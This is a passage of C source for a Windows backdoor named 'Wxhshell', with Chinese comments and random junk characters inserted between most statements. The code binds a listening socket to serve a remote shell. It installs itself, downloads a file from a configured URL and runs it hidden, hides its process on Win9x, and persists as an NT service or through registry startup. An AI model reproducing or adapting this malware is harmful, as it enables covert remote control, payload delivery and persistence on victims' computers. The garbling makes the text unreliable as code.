sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !HrKXy0{ 'L
8n-TyL CloseHandle(hProcess); }&/o'w2wY ,ek_R)&[o hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &7<TAo;O if(hProcess==NULL) return 0; `JOOnTenQ yXz*5W_0D HMODULE hMod; JM=JH
51` char procName[255]; GYJ80k| unsigned long cbNeeded; MJOz.=CbhR ;hYS6 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); cU;iUf }M1`di4e CloseHandle(hProcess); '3_]Gu-D Ge2q% if(strstr(procName,"services")) return 1; // 以服务启动 *-MM<|Qt ]or>?{4g return 0; // 注册表启动 cJN7bA{ } XaCX!Lr, PRr2F-!P // 主模块 -j%,Oo int StartWxhshell(LPSTR lpCmdLine) &f"-d { {kp"nl$< SOCKET wsl; 9)}[7Mg:C BOOL val=TRUE; pi /g H int port=0; lV`Q{bd+ struct sockaddr_in door; H(bs$C4F F5?m6`g? if(wscfg.ws_autoins) Install(); 'd.EC# 5V6G=H port=atoi(lpCmdLine); =G]1LTI FB
_pw!z if(port<=0) port=wscfg.ws_port; s8-<m,* _(Sa4Vb=Q6 WSADATA data; uxW~uEh if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z9MdD>uwi %C$%!C if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; kgnmGuka setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); o}W%I/s door.sin_family = AF_INET;
`dFq:8v door.sin_addr.s_addr = inet_addr("127.0.0.1"); E5)b door.sin_port = htons(port); [pl'| B PK;*u,V if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }2<r, closesocket(wsl); \]%6|V return 1; qDv93 } 9F4Dm*_< <\Eh1[F if(listen(wsl,2) == INVALID_SOCKET) { bu
|a0h7e closesocket(wsl); ERpnuMb return 1; l;JA8o\x } (^@ra$. Wxhshell(wsl); fG}tMSI WSACleanup(); %1H[Wh(U &QDW9
Mi return 0; ]%|GmtqZs, LO
< } zhpx"{_ *RXbc~
H // 以NT服务方式启动 L!rw[x VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L{hnU7sY { VTG9$rQZ DWORD status = 0; n;(\5{a DWORD specificError = 0xfffffff; "SzdDY6 8S%52W| serviceStatus.dwServiceType = SERVICE_WIN32; qp/v^$EA serviceStatus.dwCurrentState = SERVICE_START_PENDING; 9/hrjItV serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OlAs'TE^ serviceStatus.dwWin32ExitCode = 0; Q?3Gk%T0[ serviceStatus.dwServiceSpecificExitCode = 0; Qk\A
c serviceStatus.dwCheckPoint = 0; \=uKHNP?# serviceStatus.dwWaitHint = 0; "ul {d(K3 ]3VI|f$$ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <1FC%f/ if (hServiceStatusHandle==0) return; E0u~i59Z D[^m{ 9_ status = GetLastError(); 5!l0zLQPo if (status!=NO_ERROR) BDq%'~/^ { 9:,V5n= serviceStatus.dwCurrentState = SERVICE_STOPPED; &Rx{.9 serviceStatus.dwCheckPoint = 0; ,_yhz0. serviceStatus.dwWaitHint = 0; /x5rf serviceStatus.dwWin32ExitCode = status; VCn{mp*h serviceStatus.dwServiceSpecificExitCode = specificError; an|x$e7|? SetServiceStatus(hServiceStatusHandle, &serviceStatus); p8Q,@ql. return; HR
;)|j{! } )^4\,u\@ T(e!_VY|m serviceStatus.dwCurrentState = SERVICE_RUNNING; 3T"j)R_=l serviceStatus.dwCheckPoint = 0; 2C/$Ei^t serviceStatus.dwWaitHint = 0; /h*>P:i]. if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c:-!'l$ ! } Z2TL #@ kB'Fkqwm // 处理NT服务事件,比如:启动、停止 Eve.QAl| VOID WINAPI NTServiceHandler(DWORD fdwControl) U}MXT<6 { ^;/b+ /B0 switch(fdwControl) sB^<6W!`( { TYJ:! case SERVICE_CONTROL_STOP: u[L`-zI serviceStatus.dwWin32ExitCode = 0; 2'_:S@ serviceStatus.dwCurrentState = SERVICE_STOPPED; cgm81+[%r serviceStatus.dwCheckPoint = 0; Fb7#<h serviceStatus.dwWaitHint = 0; TQx.KM>y { IG|X!l SetServiceStatus(hServiceStatusHandle, &serviceStatus); o3I Tr'; } r41\r,`Dj return; pcT:]d[1) case SERVICE_CONTROL_PAUSE: `t_W2y serviceStatus.dwCurrentState = SERVICE_PAUSED; ,!dh2xNH^ break; j:E<p_T case SERVICE_CONTROL_CONTINUE: +RnkJ* l serviceStatus.dwCurrentState = SERVICE_RUNNING; J(c{y]` J break; YN`H
BFH case SERVICE_CONTROL_INTERROGATE: A-4h break; cfcim.jB }; _Y8hb!#( SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^@qvl%j } O
[i#9) JMH8MH* // 标准应用程序主函数 TiYnc3Bz}J int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >TQH|}|6(y { +m8!U=Zi &_~+( // 获取操作系统版本 PI`jExL OsIsNt=GetOsVer(); q{t*34R GetModuleFileName(NULL,ExeFile,MAX_PATH); NX|v= [k6nW:C // 从命令行安装 [ {
bV4 if(strpbrk(lpCmdLine,"iI")) Install(); ADpmvW f? =$nB/K,8AX // 下载执行文件 .G+Pe'4a if(wscfg.ws_downexe) { M@?xa/E64 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M#~Cc~oT WinExec(wscfg.ws_filenam,SW_HIDE); w:?oTuw } :,J}z~I,lB agjv{ if(!OsIsNt) { |!"2fI // 如果时win9x,隐藏进程并且设置为注册表启动 Iz
;G*W18 HideProc(); Yc,7tUz# StartWxhshell(lpCmdLine); Y7vA`kjD-C } 91$]Qg,lB else )hk if(StartFromService()) iVG-_RsKK // 以服务方式启动 cG?cUw).E StartServiceCtrlDispatcher(DispatchTable); n84GZ5O>7 else |fSe>uVZ // 普通方式启动 U7I qST StartWxhshell(lpCmdLine); x\J#]d. k'#(1(xj return 0; ;gs
^%z }
|